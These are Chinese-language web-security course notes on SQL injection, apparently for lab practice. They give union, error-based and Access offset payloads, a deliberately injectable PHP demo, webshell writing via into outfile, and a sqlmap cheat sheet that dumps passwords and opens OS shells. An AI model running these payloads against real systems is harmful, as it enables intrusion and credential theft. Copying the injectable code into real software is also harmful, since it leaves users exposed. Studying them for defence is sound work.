SQL注入(P12-P19)

P12. 认识SQL注入

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。

SQL注入(P12-P19)_第1张图片

12.1 SQL注入的分类

  1. 从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
  2. 从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
  3. 从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)

12.2 SQL注入的危害

分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)

  1. 数据库信息泄露
  2. 网页篡改:登陆后台后发布恶意内容
  3. 网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
  4. 私自添加系统账号
  5. 读写文件获取webshell
MYSQL数据库
数据库A=网站A=数据库用户A
表名
  		        列名
                                   数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。

必要知识

  1. 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
  2. 数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
  3. 常用参数
    information_schema.tables:记录所有表名信息的表
    information_schema.columns:记录所有列名信息的表
    table_name:表名
    column_name:列名
    table_schema:数据库名
    user() 查看当前MySQL登录的用户名
    database() 查看当前使用MySQL数据库名
    version() 查看当前MySQL版本

    user()数据库用户
    @@version_compile_os操作系统
  • 下列链接可能存在注入,第四是post提交,也会存在注入。 SQL注入(P12-P19)_第2张图片

  • 下列2、3测试正确,x有注入就在x后面测试。
    SQL注入(P12-P19)_第3张图片

注入时信息收集
SQL注入(P12-P19)_第4张图片

判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效

在mysql5.0以上版本
存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。

  1. 在MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据 库,用来存储数据库元信息,其中具有表schemata(数据库名),table(表名),columns(列名或字段名)

  2. 在schemata表中,schema_name字段用来存储数据库名

  3. 在table表中,table_schema和table_name分别用来存储数据库名和表名

  4. 在column表中,table_schema(数据库名),table_name(表名),column_name(字段名)SQL注入(P12-P19)_第5张图片

  5. 根据注入位置数据类型将sql注入分类

  6. 利用order判断字段数
    order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
    ?id=1’ order by 3–+

  7. 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
    ?id=-1 union select 1,2,3 --+

  8. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
    ?id=-1 union select 1,database(),version() --+

  9. 利用 union select 联合查询,获取表名
    ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘已知库名’–+

  10. 利用 union select 联合查询,获取字段名
    ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘已知表名’–+

  11. 利用 union select 联合查询,获取字段值
    ?id=-1’ union select 1,2,group_concat(已知字段名,’:'已知字段名) from 已知表名–+

P13. MySQL注入

SQL注入(P12-P19)_第6张图片
SQL注入(P12-P19)_第7张图片

13.1 高权限注入及低权限注入

  1. 跨库查询及应用思路
    information_schema 表特性,记录库名,表名,列名对应表
    通过select * from schemata; 进行数据库名查询,再去选择进行查询获取指明数据库里的数据
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆出所有数据库
    SQL注入(P12-P19)_第8张图片

  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema ='pikachu’获取特定数据库表名
    SQL注入(P12-P19)_第9张图片

  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’ and table_schema = 'pikachu’获取特定数据库特定表列数据
    SQL注入(P12-P19)_第10张图片

  • http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询user的数据
    SQL注入(P12-P19)_第11张图片

  1. 文件读写操作
    会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。
    load_file():读取函数

在这里插入图片描述
SQL注入(P12-P19)_第12张图片
SQL注入(P12-P19)_第13张图片
SQL注入(P12-P19)_第14张图片

into outfile 或 into dumpfile:导出函数
在这里插入图片描述
(将x写入www文件中)
SQL注入(P12-P19)_第15张图片

路径获取常见方法:
报错显示:一般网站出现错误的时候它会泄露出路径
SQL注入(P12-P19)_第16张图片

遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出
SQL注入(P12-P19)_第17张图片
SQL注入(P12-P19)_第18张图片

漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径
SQL注入(P12-P19)_第19张图片
SQL注入(P12-P19)_第20张图片

平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径
SQL注入(P12-P19)_第21张图片
爆破
windows:
d:/wwwroot/xiaodi8/
linux:
/var/www/xiaodi8
扩展连接:
常见的load_file()读取的敏感信息

  1. 常见读取文件列表
    常见写入文件问题:魔术引号开关
  • magic_quotes_gpc
  • 当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线
  1. 魔术引号及常见防护
    a. 编码或宽字节绕过:
    比如在sqlmap中添加–temper脚本参数转码
    或者使用转换工具
    SQL注入(P12-P19)_第22张图片

b. 防护:
1.)自带防御:魔术引号
2.)内置函数:int等

SQL注入(P12-P19)_第23张图片

3.)自定义关键字:select等
SQL注入(P12-P19)_第24张图片

4.)WAF防护软件:安全狗、宝塔等
SQL注入(P12-P19)_第25张图片

5. 低版本注入配合读取或暴力
字典或读取

P14. SQL注入之类型提交注入

在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
SQL注入(P12-P19)_第26张图片

14.1 简要明确参数类型

SQL注入(P12-P19)_第27张图片

  1. 数字
    a. 如果是数字的话可能不存在单引号
    在这里插入图片描述

b. 在数字上加单引号也是有可能的,要看对方的写法
在这里插入图片描述

  1. 字符
    a. 一般是采用单引号,如果参数是字符的话那肯定是有单引号的
    在这里插入图片描述

b. 即使有注入也会带入单引号里,产生不了任何作用,所以我们要做的前提是先要把它的符号闭合掉
在这里插入图片描述

c. 也有可能有括号,注入的时候需要去尝试
在这里插入图片描述

  1. 搜索
    将数据进行搜索并进行展示,搜索符号是%,在过滤的时候要过滤单引号和百分号,不然语句全部在单引号和百分号里
    在这里插入图片描述

  2. JSON 等

  • json的双引号不需要闭合,需要闭合的是SQL语句中的单引号或双引号。
  • JSON数据形式
curl -X POST https://api.zoomeye.org/user/login -d
{
 "username": "[email protected]",
    "password": "foobar"
}

14.2 简要明确请求方式

  1. 根据网站的情况来获取相应的请求方法,请求方法可以通过在访问网站的时候审查元素里数据包的前缀看查看,找到Request Headers(请求头)
    SQL注入(P12-P19)_第28张图片

  2. 不同的请求方式,它请求的数据类型或者大小都不同。一般大数据会采用POST提交。在注入时候需要按照网站的请求方法去注入。

  3. GET、POST、COOKIE、REQUEST、HTTP头等
    a. GET产生一个TCP数据包;POST产生两个TCP数据包。
    对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);
    而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
    b. GET方法无法接收POST的值
    在POST情况下GET的值只要在网址后面就能接收
    GET、POST接收单个
    REQUEST 全部接收,网站在访问的时候由于我们大多数是黑盒测试,不知道对方代码写法,如果对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,因为用GET、POST都可以。如果对方是单一接收方式,那么在注入的时候需要用它的方法去注入。
    SQL注入(P12-P19)_第29张图片

c. GET和POST两种基本请求方法的区别
d. cookie
SQL注入(P12-P19)_第30张图片

扩展:cookie和session的详解与区别
4. 以POST请求去测试网页,网页界面是一样的,那么表示这两个参数均以POST方式去提交

$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入
在这里插入图片描述

扩展介绍:$_SERVER详解

14.3 JSON注入相关知识

  1. JSON基础
    a. 简介
    JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”
    b. JSON语法
    ■ 数据在名称/值对中
    ■ 数据由逗号分隔
    ■ 大括号保存对象
    ■ 中括号保存数组
    c. JSON值
    ■ 数字(整数或浮点数) {“age”:30 }
    ■ 字符串(在双引号中) {“uname”:“yang”}
    ■ 逻辑值(true 或 false) {“flag”:true }
    ■ 数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
    ■ 对象(在大括号中)JSON 对象在大括号({})中书写:
    ■ null { “runoob”:null }
    d. JSON代码格式
{
  "users": {
    "user": [
      {
        "id": "1",
        "username": "admin",
        "passwd": "admin888"
      },
      {
        "id": "2",
        "username": "root",
        "passwd": "root123"
      },
      {
        "id": "3",
        "username": "system",
        "passwd": "system456"
      }
    ]
  }
}

2. JSON注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。

14.4 演示资源:

  1. 配合 sqlilabs 本地数据库演示—>演示案例
  2. JOSN本地代码

  // php防止中文乱码
  header('content-type:text/html;charset=utf-8');
  
  if(isset($_POST['json'])){
    $json_str=$_POST['json'];
    $json=json_decode($json_str);
    if(!$json){
      die('JSON文档格式有误,请检查');
    }
    $username=$json->username;
    //$password=$json->password;
 
    // 建立mysql连接,root/root连接本地数据库
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
      die('数据库连接失败:'.$mysqli->connect_error);
    }
	
    // 要操作的数据库名,我的数据库是security
    $mysqli->select_db('security');
    if($mysqli->errno){
      dir('打开数据库失败:'.$mysqli->error);
    }
	
    // 数据库编码格式
    $mysqli->set_charset('utf-8');
	
    // 从users表中查询username,password字段
    $sql="SELECT username,password FROM users WHERE username='{$username}'";
    $result=$mysqli->query($sql);
    if(!$result){
      die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
      die('查询结果为空');
    }else {
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
    }
	
    // 释放资源
    $result->free();
    $mysqli->close();
  }
?>

P15. SQL注入之Oracle、MongoDB等注入

SQL注入(P12-P19)_第31张图片

在这里插入图片描述
简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作

  • json的双引号不需要闭合,需要闭合的是SQL语句中的单引号或双引号。

15.1 简要了解各数据库

Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access 
   	        表名
                 列名
                         数据
  
Access数据库保存在网站源码下面,自己网站数据库独立存在,所以无法进行跨库,也没有文件读写的操作。

SQL注入(P12-P19)_第32张图片
除了Access其他数据库组成架构基本都是大同小异。


mysql、mssql等
		数据库A
				表名
						列名
								数据
		数据库B
				。。。
						。。。	
								。。。

每个数据库功能不同,我们采取注入的时候攻入方式不同

什么决定网站注入点用户权限?
数据库配置文件的用户,是谁连接的


简要学习各种数据库的注入特点
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access数据库放在网站下

数据库架构组成,数据库高权限操作

简要学习各种注入工具的使用指南
熟悉工具的支持库,注入模式,优缺点等
Sqlmap, NoSQLAttack, Pangolin等

15.2 Access注入测试

如果遇到列名猜解不到的情况,则可以使用Access偏移注入

  1. 原理
    借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示
  2. 用途
    解决知道Access数据库中知道表名,但是得不到字段的sql注入困境
  3. 特点
    a. 成功与否看技巧与运气,不能保证100%成功。
    b. 无需管理员账号密码字段,直接爆账号密码
  4. 利用条件
    a. 已知管理表名
    b. 已知任意字段(一个或多个会增加机率,最常见的就是id)
  5. 影响偏移注入成功因素
    a. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
    b. 当前注入点的脚本内查询的表内的字段数越多越好
  6. 流程
    a. 判断字段数
    b. 判断表名
    c. 开始偏移注入

本地Access偏移注入靶场
SQL注入(P12-P19)_第33张图片
SQL注入(P12-P19)_第34张图片
SQL注入(P12-P19)_第35张图片
SQL注入(P12-P19)_第36张图片
SQL注入(P12-P19)_第37张图片
SQL注入(P12-P19)_第38张图片
SQL注入(P12-P19)_第39张图片
偏移量就是逐步增加或递减,直到出现结果。表示可代替的字符串,用代替22,返回界面依旧报错,然后用*代替21,依次递减。22-16=6,6表示该表中的列名个数。
SQL注入(P12-P19)_第40张图片
SQL注入(P12-P19)_第41张图片
SQL注入(P12-P19)_第42张图片

*代表6个,后面一串字符代表两倍,就相当于2倍,12个
爆列名数据

一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

SQL注入(P12-P19)_第43张图片
SQL注入(P12-P19)_第44张图片
二级偏移,3倍*,所以为18个
SQL注入(P12-P19)_第45张图片
SQL注入(P12-P19)_第46张图片
查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况
猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。
SQL注入(P12-P19)_第47张图片
或者看登录框表单值
SQL注入(P12-P19)_第48张图片
补充

access偏移注入:解决列名获取不到的情况 查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

15.3 SQL server/MSSQL注入

  1. 介绍

Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。

  1. 过程

①判断数据库类型
and exists (select * from sysobjects)–返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)–有时上面那个语句不行就试试这个哈
②判断数据库版本
and 1=@@version–这个语句要在有回显的模式下才可以哦
and substring((select @@version),22,4)=‘2008’–适用于无回显模式,后面的2008就是数据库版本, 返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是 2008的话就返回正常)
③获取所有数据库的个数 (一下3条语句可供选择使用)

  1. and 1=(select quotename(count(name)) from master…sysdatabases)–
  2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master…sysdatabases) –
  3. and 1=(select str(count(name))%2b’|’ from master…sysdatabases where dbid>5) –
    and 1=(select cast(count(name) as varchar)%2bchar(1) from master…sysdatabases where dbid>5) –
    说明:dbid从1-4的数据库一般为系统数据库.

⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master…sysdatabases FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))–
⑥获取当前数据库
and db_name()>0
and 1=(select db_name())–
⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】
and 1=(select quotename(name) from 数据库名…sysobjects where xtype=‘U’ FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from 数据库名…sysobjects where xtype=‘U’ FOR XML PATH(’’))–
⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):
and 1=(select quotename(name) from 数据库名…syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from 数据库名…syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(’’))–
⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定数据库…指定表名 where排除条件 FOR XML PATH(’’))–
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库…指定表名 FOR XML PATH(’’))–复制代码第一条语句:and 1=(select top 1 * from 指定数据库…指定表名 FOR XML PATH(’’))–测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
转自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm

15.4 PostgraSQL注入原理

https://www.webshell.cc/524.html
https://www.cnblogs.com/yilishazi/p/14710349.html
https://www.jianshu.com/p/ba0297da2c2e

15.5 Oracle注入

https://www.cnblogs.com/peterpan0707007/p/8242119.html

15.6 MongoDB注入

  • MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
  • MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用JSON传输。
  • tojson函数可以输出json数据

SQL注入(P12-P19)_第49张图片
https://blog.csdn.net/weixin_33881753/article/details/87981552
https://www.secpulse.com/archives/3278.html

15.7 各数据库手工注入

MySQL:
1.找到注入点 and 1=1 and 1=2 测试报错
2.order by 5 # 到5的时候报错,获取字段总数为4
3.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息
4.获取数据库信息
user() ==>root
database() ==>mozhe_Discuz_StormGroup
version() ==>5.7.22-0ubuntu0.16.04.1
5.获取数据库表
table_name 表名
information_schema.tables 系统生成信息表
table_schema=数据库名16进制或者用单引号括起来
改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice
6.获取列名
结果如下 id,name,password,status
7.脱裤

Access:
1.and 1=2 报错找到注入点
2.order by 获取总字段
3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表
4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在
5.脱裤 union select 1,username,passwd,4 from admin

MSSQL:
1.and 1=2报错
2.order by N# 获取总字段
3.猜表名 and exists(select * from manage) 表名manage存在
4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在
5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在
and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8
and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16
可用Burp的Intruder功能辅助猜解
猜解username第1到8位的字符,ASCII转码 admin_mz
猜解password第1到16位的字符,ASCII转码(Burp 爆破)
转ASCII的py脚本:
72e1bfc3f01b7583 MD5解密为97285101

SQLite:
1.找注入点 and 1=1
2.order by N 猜字段 4
3.猜数据库
offset ==>0~2
有三个数据库:
WSTMart_reg
notice_sybase
sqlite_sequence
4.猜列
共有3个字段:
id,name,password
5.脱裤

MongoDB:
1.id=1′ 单引号注入报错
2.闭合语句,查看所有集合
3.查看指定集合的数据
[0] 代表第一条数据,可递增

DB2:
1.and 1=2 判断注入点
2.order by N 获取字段数
3.爆当前数据库
GAME_CHARACTER
4.列表
NAME
5.脱裤

PostgreSQL:
1.and 1=2 判断注入点
2.order by N 获取字段
3.爆数据库
4.列表
5.列字段
6.拖库

Sybase数据库:
1.and 1=2 判断注入点
2.order by N 获取总字段
3.爆数据库
4.列表
5.列字段
6.查状态
结果为:zhang
7.反选爆用户名
结果为:mozhe
8.猜解密码

Oracle:
1.and 1=1
2.order by
3.爆数据库
4.列表
5.列字段
6.拖库
加上状态:1 where STATUS=1

15.5 简要学习各种注入工具的使用指南

熟悉工具的主持库,注入模式,优缺点等
sqlmap,NoSQLAttack,Pangolin等
SQL注入(P12-P19)_第50张图片

sqlmap基本操作

sqlmap简介

sqlmap支持五种不同的注入模式:
● 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
● 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
● 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
● 4、联合查询注入,可以使用union的情况下的注入。
● 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

检测注入

基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认使用level1检测全部数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数

注入成功后

获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据
其他命令参考下面

从数据库中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap基本操作

基本操作笔记:-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” --resume)
–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1
–time-sec=(2,5) #延迟响应,默认为5
–data #通过POST发送数据
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–data “” #POST方式提交数据(–data “page=1&id=2”)
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “” #自定义user-agent
–proxy “http://127.0.0.1:8118” #代理注入
–string="" #指定关键词,字符串匹配.
–threads #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn --msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” --user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典  
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt

常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C “user,pass” -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read “c:\boot.ini” -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd “id” -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key=“HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (‘abc’='abc”
16./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”
17./sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"
18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’” -v 1
20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --common-tables -D testdb --banner
21./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --cookie=“PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” --string=‘xx’ --dbs --level=3 -p “uid”

简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
